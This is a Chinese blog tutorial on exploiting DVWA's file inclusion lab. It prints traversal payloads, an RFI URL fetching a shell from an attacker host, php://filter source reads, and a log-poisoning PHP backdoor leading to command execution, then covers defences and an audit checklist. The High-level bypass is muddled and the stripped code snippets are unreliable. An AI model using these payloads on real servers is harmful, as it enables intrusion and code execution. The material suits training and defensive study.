DVWA文件包含漏洞实战:从目录穿越到日志注入RCE
发布时间:2026/10/19 16:31:27 锦皓数字建站

做Web安全测试的朋友对DVWA这个靶场应该都不陌生。前阵子我把File Inclusion模块从Low到High又完整刷了一遍发现很多细节值得记录。文件包含File Inclusion漏洞说起来并不复杂本质就是让程序去加载一个由用户可控的文件路径但它在实战中能玩出的花样远比很多入门教程写的多从读取敏感文件到伪协议拿源码再从日志注入到getshell思路是一层一层递进的。这篇文章就围绕DVWA的File Inclusion模块展开把漏洞原理、不同安全等级下的绕过思路和防御方案拆开细说适合两类人一是刚接触Web安全的测试新人二是想搞清楚灰盒测试原理的开发人员。1. 文件包含漏洞的核心原理1.1 从代码复用机制到漏洞成因要理解文件包含漏洞得先从编程语言里的文件包含机制说起。在PHP这类动态语言里开发者经常会把公共代码抽出来放到独立文件里比如数据库连接类、公共函数库、页面头部和底部模板然后在主页面里通过include、require、include_once、require_once这些指令把它们加载进来。这种代码复用方式非常普遍几乎每个PHP项目都会用到。问题就出在这里当include的文件路径是由外部输入拼接出来而程序又没有对这个输入做严格校验时攻击者就可以通过控制这个参数让服务器去包含一个原本不该被包含的文件。打个比方文件包含机制就像办公室门禁卡系统include一个文件等于持卡进入某个房间正常情况下门禁系统只允许刷自己的工卡进入对应的工位区域但如果系统没有校验卡片来源任何人拿着一张写着档案室的纸条都能开门进去甚至还能顺着纸条进入隔壁的机密机房。在DVWA的File Inclusion模块里页面切换就是通过一个page参数来实现的。正常逻辑是http://测试机/dvwa/vulnerabilities/fi/?pagefile1.php程序做的事情就是拿到page参数的值然后拼到路径里include进来展示给用户。如果没有任何防护攻击者把page的值改成../../../../etc/passwd服务器就会把系统的用户账号文件内容当成页面的一部分输出。这就是本地文件包含漏洞LFI也是文件包含问题里最经典、最常见的一种形态。1.2 本地文件包含与远程文件包含文件包含漏洞按照文件来源可以分成两类本地文件包含Local File InclusionLFI和远程文件包含Remote File InclusionRFI。本地文件包含很好理解被包含的文件是目标服务器本地的文件无论是系统文件还是应用自身目录下的文件。它的核心危害有两个方向第一是敏感信息泄露比如读取配置文件、数据库密码文件、应用源码第二是配合其他机制执行代码比如把PHP代码写入日志文件、Session文件或临时文件再通过LFI把这段代码包含进来触发执行。远程文件包含则是指让程序去加载一个远程服务器上的文件这段文件通常是由攻击者自己准备的。远程包含的危害更直接只要目标机器配置允许PHP里对应allow_url_includeOn攻击者直接构造这样的请求http://测试机/dvwa/vulnerabilities/fi/?pagehttp://攻击者机/shell.txtshell.txt里面是一段PHP恶意代码目标服务器会把远程文件拉下来当成本地脚本执行攻击者就直接拿下Web权限。可以说RFI一旦存在风险等级基本可以直接拉满。但这里有一个重要的现实背景现代PHP默认配置里allow_url_include是Off所以RFI在实际环境中出现的概率比过去低很多。真正高频出现的是LFI或者LFI加日志注入的组合利用。理解这个背景很重要因为你去测一个目标时第一反应不该是试着去包含外部URL而是先看本地文件泄露再琢磨怎么写文件进去形成闭环。DVWA里给所有等级做的防护设计也是围绕这两个方向来的后面我会逐步拆解。1.3 漏洞影响面分析文件包含漏洞影响几何很多人第一反应就是能读文件其实影响面远不止于此。我把常见的影响分成三个层级第一层是信息泄露。通过目录穿越读取系统文件拿到的不只是/etc/passwd这种东西更关键的是应用自身的配置文件比如数据库连接参数、密钥文件、源码文件。只要有任意一个PHP文件被读出来代码里的业务逻辑、硬编码口令、第三方接口密钥全都暴露了。在很多企业内网测试里这一步往往就是突破口。第二层是代码执行。通过日志注入、Session文件注入或者配合文件上传功能把一个包含恶意PHP代码的文件写到服务器上然后利用LFI把它包含执行。这一步达成后目标Web服务器就基本沦陷了后续可以上传webshell、提权、横向移动。在很多实战攻击路径里LFI就是那个最后一公里的跳板。第三层是内网探测与横向影响。读取到的配置里可能包含内网其他系统的地址、数据库地址、中间件版本这些信息会被用来扩大战果。比如读出了某个内网管理后台的数据库账号攻击者就能在内网里换个方向继续打。所以即便是看起来只是一个文件读取问题在合规授权的前提下它的利用价值也值得评估者认真对待。2. 基于DVWA的实战环境搭建与准备2.1 为什么选择DVWA做实验靶场DVWADamn Vulnerable Web Application是安全圈里非常知名的开源靶场系统它的定位就是供安全人员合法练习Web漏洞检测和利用技术。它最大的特点是内置了多种常见漏洞模块而且每个模块都提供了四个安全等级Low、Medium、High、Impossible。这种设计让新手可以直观看到同一漏洞在不同防护强度下的利用难度差异也能让有经验的测试人员快速试验绕过手法。相比自己搭业务系统来练手DVWA的资源占用极小、部署简单、环境完全可控不存在误伤真实业务的可能。我在本地虚拟环境里跑了一套整个搭建过程十几分钟就能完成非常适合用来做漏洞原理分析和防御验证。本文后续所有复现动作都基于DVWA靶场环境目标地址也全部使用测试网段这是做安全测试的基本底线读者在实际操作中也要注意只能在授权范围内进行实验。2.2 环境准备四件套要在本地把DVWA跑起来我建议准备一套最小的组合一台能跑Web服务的机器、DVWA源码、一个数据库、一个抓包工具。操作系统用Linux或Windows都行我这里用的是Ubuntu虚拟环境加标准LAMP栈。整个搭建过程大致是# 安装基础环境以LAMP为例 sudo apt update sudo apt install apache2 mariadb-server php php-mysql libapache2-mod-php # 下载DVWA源码并解压到Web根目录 wget https://github.com/dvwa/dvwa/archive/refs/heads/master.zip unzip master.zip sudo mv dvwa-master /var/www/html/dvwa # 复制配置文件并填写数据库信息 cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php这里有个容易踩的坑配置文件里的数据库密码要和本地Mariadb设置的一致否则DVWA连不上库安装流程会在第一步就卡住。配置好基本环境后浏览器访问DVWA的安装页面点击创建数据库按钮它会自动建库建表然后把登录密码改为admin/password就能进入了。测试过程中为了方便抓包分析我习惯在本地装一个抓包工具观察请求和响应。有一款跨平台的抓包工具比如Fiddler或Burp Suite Community这类免费工具都够用。需要强调的是抓包工具在这里是辅助分析的手段不是必需的但有了它你才能看清每个等级下请求参数的真实变化尤其是后面讲Medium级别绕过时你会需要观察当page参数经过服务端过滤后实际被拼接到文件路径里的完整形态。2.3 熟悉靶场界面与安全等级登录DVWA后主页面左侧有一排漏洞模块导航栏点进File Inclusion就会看到这个练习页面。页面里有几个可以切换的链接我印象中是file1.php、file2.php、file3.php底部还有一个提交按钮。每个链接的URL其实都带上了page参数比如点击file1.php对应的URL就是http://测试机/dvwa/vulnerabilities/fi/?pagefile1.php页面顶部有一个Security Level选项你可以随时切到Low、Medium、High也可以重置到Impossible做对比。这块设计的初衷是让你在同一个漏洞点测试不同的防御强度这种方式在学习阶段比直接看一堆代码要直观得多。Under the hoodDVWA的File Inclusion模块源码目录下有三个PHP文件分别对应Low、Medium、High三种防护实现。Impossible级别其实也是代码参考它展示的是正确写法。我强烈建议你在做实验时打开这些源码对照着看代码量很小都是函数级别的差异比单纯靠黑盒猜测高效得多。接下来按等级逐一复现我会把每个等级服务器端代码的判断逻辑和绕过方式都讲出来方便你对号入座。3. 漏洞复现过程与思路拆解3.1 Low级别裸奔的路径拼接先把安全等级调到Low访问File Inclusion模块并点击其中一个文件页面会正常显示对应内容。这个时候抓包观察参数你可以看到URL是这样的http://测试机/dvwa/vulnerabilities/fi/?pagefile1.php正常页面显示的是一段固定文本。然后把page参数改成../../../../etc/passwd也就是构造这样一个URLhttp://测试机/dvwa/vulnerabilities/fi/?page../../../../etc/passwd页面里会出现系统密码文件的内容标准格式类似root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...这里可能出现的路径组合需要多试几次。用../../../../这个层级数量不是固定的它取决于DVWA部署目录离根目录有多远。实际上最常见的情况是应用在/var/www/html/dvwa/vulnerabilities/fi/下面需要跨越的目录层级比较多所以我这里写的四个../通常不够实际测试时可以从两个开始逐个递增直到出现有效的系统文件内容。Low级别的源码逻辑大概是这样的$file $_GET[page]; if (isset($file)) { include($file); }它拿到参数后既不限制文件路径格式也不限制文件类型直接就include了。这就是典型的裸奔写法相当于门卫只看你有没有出示一张写着地址的纸条完全不检查地址本身是否合法、纸条是不是伪造的。没有任何输入验证所以直接目录穿越就成功了。这个级别想强调的重点是目录穿越的利用不需要多么高级的技巧纯粹是逻辑缺失。实际开发里出现过很多类似的代码比如页面模板参数、语言切换参数、主题切换参数只要参数名看起来是正常的开发就容易忽略校验。你在做代码审计时凡是看到变量被拼接到include、require、fopen、readfile这类函数里都要绷紧一根弦。注意这里的目录层级必须根据目标环境调整。在DVWA默认部署路径下常见的能读取到系统文件的层级组合通常是五个或六个../。测试时推荐用../../../../../../这种多级写法如果一次不行就逐渐增加层级这属于路径穿越的基础节奏。3.2 Medium级别关键字替换与双写绕过把安全等级切到Medium再试试刚才的payload你会发现页面报错了。这说明服务端对输入做了一定的过滤。查看源码你会发现Medium级别的核心逻辑是这样的$file str_replace(array(http://, https://, ../), , $_GET[page]); include($file);关键点是使用了str_replace函数把http://、https://和../直接替换成空字符串然后再去include。这个设计思路是想把目录穿越和远程包含的常见关键字都抹掉看起来好像堵住了一条大路但它犯了一个非常经典的错误过滤只执行了一次而且没有递归处理。绕过方式有两个方向。第一个是双写。既然../会变成空字符串那我就把payload写成..././。你观察一下..././这个字符串里包含../吗确实包含去掉它是如何变化的呢str_replace把第一个../替换成空后剩下的部分刚好拼成另一个../。用更容易理解的方式说字符串..././去掉被替换的../之后中间的./与后面的点拼在一起就重新构成了一个新的../。最终include的路径仍然是带着../的完整目录穿越路径。实际构造出来的payload可以是..././..././..././..././etc/passwd这个payload里每一组..././经过一次替换都会留下一个../所以整个字符串在服务器端处理完后就等价于../../../../etc/passwd效果和在Low级别一样直接读取到了系统文件。第二个绕过点是远程包含的关键字过滤。Medium只把http://和https://替换为空但并没有拦截其他协议而且http://这个关键字可以通过双写协议头绕过比如http://http://这么写str_replace会去掉中间的http://结果剩下的还是http://。不过在现在的环境里主要还是以目录穿越为主所以我这里就不展开远程包含的演示了。Medium级别的教训很典型黑名单过滤思路本身就有天然缺陷。你永远无法穷举所有可能的攻击写法只要开发者少考虑一种变形攻击者就能趁虚而入。对于安全入门者来说理解str_replace的非递归问题很重要很多真实系统里都有这类绕过点。我在实际测试中见过不止一次开发为了防目录穿越写了一个正则结果因为只替换一次导致一整片代码形同虚设。所以我们要刻意训练自己从数据流向角度思考绕过而不是死记payload格式。3.3 High级别白名单限制与日志包含把安全等级调到High再来试之前的手段。你会发现不管用什么路径穿越写法页面都只会显示file1.php到file3.php这三个固定页面的内容。这个级别的防护思路变了从黑名单过滤改成了白名单校验。源码逻辑是$file $_GET[page]; if (!fnmatch(file*, $file)) { exit(不允许访问该文件); } include($file);fnmatch这个函数会用file*这个模式去匹配page参数只要不是以file开头的路径都会被拒绝。这意味着你没法用page../../../../etc/passwd这种方式直接穿越了。那么High级别是不是就绝对安全了并不是。问题在于白名单仍然只约束了变量的开头却没有限制文件路径解析的终点。page参数可以匹配file*的前提下攻击者还能不能通过别的手段把恶意代码弄进服务器答案是肯定的最常见的手法就是日志注入。在标准LAMP环境下Apache会把访问日志写入到类似/var/log/apache2/access.log这样的文件里。日志里会记录User-Agent也就是浏览器标识而且是不做过滤的。那么我就可以构造一个请求在User-Agent字段里写入一段PHP代码访问一次日志文件就会把这行带恶意代码的记录保存下来。日志文件本身是本地文件而且以日志路径的形态存在并不以file开头——那我能不能让它被包含呢构造一个这样的请求User-Agent: ?php system($_GET[cmd]); ?然后访问目标包含页面。注意真正让日志写入成功的请求最好是直接访问DVWA的任意一个页面因为Apache会记录所有到达站点的HTTP头。下一步利用High级别的页面对page参数做一次路径穿越去包含日志文件page../../../../var/log/apache2/access.log由于日志文件路径不以file开头照理会被fnmatch拦住但这里有个细节fnmatch匹配的是page参数本身所以我可以直接把文件路径写成一个看起来以file开头的路径来绕过。例如利用路径穿越构造pagefile.../.../.../.../var/log/apache2/access.log或者更常见的方式是借助PHP的一些路径解析特性。不过实际过程中最核心的一步是保证access.log中能插入含有效PHP代码的请求然后想办法让include能把这个本地日志作为文件包含进来。因为日志文件内容可能非常长、包含各种特殊字符直接包含往往很难完美执行所以现实中还要配合日志清理或小心构造测试请求来降低干扰。这个思路在真实场景里需要大量调试但原理本身很值得吃透。除了访问日志之外类似的注入点还有Session文件。PHP默认会把Session数据存储在临时目录里比如/var/lib/php/sessions/。如果应用会把一些用户输入存储到Session变量中那么通过控制输入内容为PHP代码再结合LFI去包含对应的Session文件同样能达到代码执行的效果。DVWA里没有专门做这个演示但我在其他靶场练习中实践过思路是完全通用的。如果还想在High级别做更多的尝试还可以考虑php://filter伪协议。等一下php://filter不只可以帮助读取源码它还有一个额外的价值php://filter是允许在include中使用的一种流封装器它可以把一个文件的内容经过某种过滤器处理后返回给include。之前很多资料里会把php://filter和文件读取混为一谈实际上在权限允许的情况下它可以读取任意本地文件内容而不仅仅是以pagefile开头的文件。但在High级别里fnmatch依然会拦截因为php://不是以file开头。所以High级别的防护对伪协议也是有效的。提示在High级别的场景中最值得练习的是日志注入与环境探测的结合先构造恶意User-Agent写入日志再通过路径穿越去寻找AIX、Apache、Nginx等不同Web服务的日志位置。日志路径因系统而异提前掌握常见路径可以少走很多弯路。3.4 伪协议利用不依赖目录穿越也能拿源码在很多实际目标里我们不一定知道Web应用的绝对路径目录穿越的层级也不容易一次试对。这时候PHP伪协议就派上用场了。DVWA的Low和Medium级别都支持利用php://filter读取应用源码。具体做法是pagephp://filter/convert.base64-encode/resourceconfig.php它的作用是把config.php文件的内容进行base64编码后输出因为直接输出PHP文件会被服务器执行你什么也看不到而base64编码之后你就能拿到完整的源码内容再本地解码一遍就等于白嫖了一份源码。这在代码审计和漏洞分析里价值很大相当于手把手指给你看。有人可能会问php://filter本身不产生目录穿越怎么就能读到文件呢关键在于resource参数指定的是相对于当前include路径的文件路径。DVWA的config.php就在当前目录下所以直接写文件名就能定位到。如果是其他位置也可以在里面写相对或绝对路径。这种不直接require而是把内容当作数据流经过过滤器输出的机制是伪协议最香的地方。其实php://filter能用的过滤器不止base64还有string.rot13等。但在读取源码场景下base64是最佳的因为它无损耗、可控性强。需要说明的是这个功能在PHP 5.2之后的版本里一直存在并且默认开启不需要allow_url_include为On所以实战价值非常高。另外还有一个容易被忽视的伪协议就是php://input。如果目标代码有include($_GET[page])且没有限制协议你可以把POST请求体写成PHP代码拿pagephp://input直接让include把POST体当PHP执行。这个方案在allow_url_include开启的情况下同样可以工作而且不需要额外写文件干净利落。很多早期CTF题都靠这一招拿分。不过DVWA里默认配置没有开这个功能所以我就在本文提一嘴真要复现的话记得检查测试环境配置。3.5 实战路径延伸从文件包含到命令执行如果你已经能通过文件包含读取文件或者借助日志注入执行了代码接下来就要考虑把这个漏洞的利用价值最大化。在很多授权测试项目中拿到WebShell只是起点后续的提权、内网渗透才是重头戏。但本文范围限定在文件包含漏洞本身所以只聊一下从文件包含直接导向命令执行的一种常见形态。假设你已经通过日志注入让apache日志里的User-Agent变成了一段调用系统命令的PHP后门代码那么你访问目标页面时带上命令参数page../../../../../var/log/apache2/access.logcmdid如果日志包含成功页面里就会回显出一行类似uid33(www-data)的信息。这说明命令执行已经打通后续就可以用命令执行来读取数据库配置、查看Web目录结构、上传工具等等。从LFI到RCE的链路到此就闭环了。这个链路里有几个实际注意点第一日志文件体积通常很大包含日志页面可能会特别卡顿甚至超时测试时要考虑用较小的日志文件或者清理部分日志来降低噪音第二日志里的PHP代码经常会被换行、引号等干扰构造时要尽可能用不含特殊符号的短payload第三目标Web服务器可能有多层代理User-Agent经过代理改写后不一定原样写入日志所以并不是每次都能成功。这些经验听起来琐碎但在实战中都是决定成败的细节。我个人的建议是在DVWA里把日志注入这条线完整走三遍第一遍照文档操作第二遍尝试只靠浏览器控制台完成所有请求第三遍完全脱离教程自己去推测日志路径和注入点。三遍下来从LFI到RCE的链路理解会扎实很多。4. 防护思路与安全编码建议4.1 源头治理白名单与路径校验前面演示了Low、Medium、High三个等级的绕过方式可以发现一个规律凡是靠黑名单过滤的最后都被各种变形绕过了凡是靠白名单限制的虽然没有完全免疫但利用难度确实高了很多。所以防御文件包含漏洞的正确姿势首先就是白名单。白名单有两种落地方式。第一种是枚举法把允许包含的文件名列成一个数组比如file1.php、file2.php、file3.php用户传进来的page参数必须在数组里才继续执行否则直接拒绝。这个写法最安全也最简单适合页面数量有限的业务场景。第二种是目录前缀约束include的时候给用户输入强制拼接一个固定的前置目录比如$baseDir /var/www/app/views/; $file $baseDir . basename($_GET[page]); include($file);用basename函数去掉路径中的../前置目录就固定到views下面了。这种方式的好处是即使参数带了目录穿越也没法逃出去坏处是basename在某些情况下会把多级目录折叠掉所以如果你的业务需要支持子目录就要用另一个等价的方案比如对路径做realpath后检查是否仍在前置目录内$baseDir realpath(/var/www/app/views/); $path realpath($baseDir . / . $_GET[page]); if (strpos($path, $baseDir) 0) { include($path); }这个写法利用realpath把路径解析成绝对路径再判断解析结果是否仍然在前置目录范围内相当于把后门彻底焊死了。使用这种方式即使用户写了各种古怪路径最终都会被真实文件系统解析后验证不需要死记硬背payload的写法。4.2 从配置层面加固运行环境代码层面的校验做得再完美也不建议把所有防御希望都放在一层上。在PHP运行环境层面还有几个非常实用的加固项第一关闭危险配置。在php.ini里确认allow_url_includeOff这是阻断RFI最直接的手段。默认安装的PHP 7以上版本大部分是关闭的但有些老项目、或者为了图方便改过配置的环境可能开着一旦开启配合一个include变量就等于把服务器拱手送人。第二配置open_basedir。open_basedir用来限制PHP脚本能访问的目录范围。比如把它设置成Web根目录加临时目录那么即使出现LFI攻击者想通过目录穿越去读/etc/passwd和系统其他文件也读不到因为PHP在文件操作层面就直接拦截了。这个配置对PHP系的所有文件操作函数都生效性价比非常高。第三控制上传功能。很多文件包含利用最终依赖的是把代码写到服务器上。如果应用本身有文件上传功能一定要严格检查文件内容后缀、MIME类型并且把上传目录放到不执行PHP的独立目录或者通过Nginx配置禁掉uploads目录的PHP解析能力。这里很多文档都会提但实际企业中执行不彻底比如有的只检查了Content-Type攻击者改个包就能绕过。正确的做法是使用随机文件名加白名单扩展名双重限制。4.3 面向开发团队的安全设计建议如果你负责的是项目的代码架构而不是单纯修一个漏洞那我认为更有价值的思路是把文件读取、模板渲染这类操作统一收口。也就是说不要让业务代码各自去调include、file_get_contents之类的函数而是封装到一个公共的视图加载器或文件读取服务里安全校验只在这个服务里做一次。这样即使以后新增了功能开发也不会因为不熟悉安全要求而引入新的文件包含点。举个例子在一个典型的MVC框架项目里视图层的控制器会去加载模板文件。这时控制器不应该直接把用户的输入拼到模板路径上而是通过一个View类来解析真实路径。类似这种集中式控制加上单元测试覆盖就能把遗漏的概率压到很低。我见过不少代码审计报告问题都出在这个变量是内部传过来的不可能被用户控制这个假设上。但真实世界里通过HTTP请求参数、Cookie、Referer、上传文件名等入口很多你以为不可能的地方就是能被污染。所以在设计时就要默认所有外部数据都是不可信的内部数据要进到文件路径这层也要经过同样的校验这个意识比具体某行代码重要得多。4.4 测试与审计视角的防护验证清单最后给做测试和负责验收的读者整理一份自查清单方便在评估文件包含漏洞时参考对照检查项目预期结果不满足时的风险用户输入是否直接拼接到include/require必须经过白名单或路径校验存在LFIallow_url_include配置必须为Off存在RFI关键目录是否有open_basedir限制应配置目录穿越可读取系统文件日志、Session等文件是否可能写入恶意代码应清理外部输入日志注入后可以RCE错误信息是否暴露绝对路径应屏蔽泄露路径辅助对象攻击文件上传与包含是否隔离必须相互独立上传后门可直接执行这份清单是我在几次评估项目里总结出来的拿着它去对着代码过一遍基本能覆盖大多数文件包含漏洞的主要风险点。当然实际测试中还需要结合目标架构特点灵活调整比如Windows环境下路径分隔符、大小写问题会衍生出新的绕法Linux下可以考虑的空字节截断在较新版本PHP里也基本失效了但这些都属于进阶话题本文先不展开。个人体会与最后提醒在DVWA里反复测试完这几个等级我最大的感触是文件包含漏洞的攻防本质从来不在于某个具体的payload而在于是否信任了不该信任的数据。Low级别是什么都不限Medium级别是过滤不彻底被双写绕掉High级别虽然卡住了直接的目录穿越却依然能被日志注入拉到RCE。这说明单纯靠堵已知的几个关键字和写法永远追不上攻击者的变形思路。真正有效的防御还是得回到白名单、最小权限、集中校验这些整体性思路上来。如果你正在练习这个漏洞除了照我上面的步骤把每个等级都过一遍我更建议你用一天时间专门玩一下日志注入的变种不局限于Apache日志尝试把PHP代码塞到Session文件、临时文件、甚至系统邮箱文件里再通过LFI触发。这个过程会让你对文件在哪这个概念产生很深的体感比看任何文章都管用。我自己也是在这样反复折腾之后才真正理解为什么文件包含漏洞被称为拎包入住式的漏洞。希望这篇实战记录能帮你在测试和防御两条路上都少走几步弯路。
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。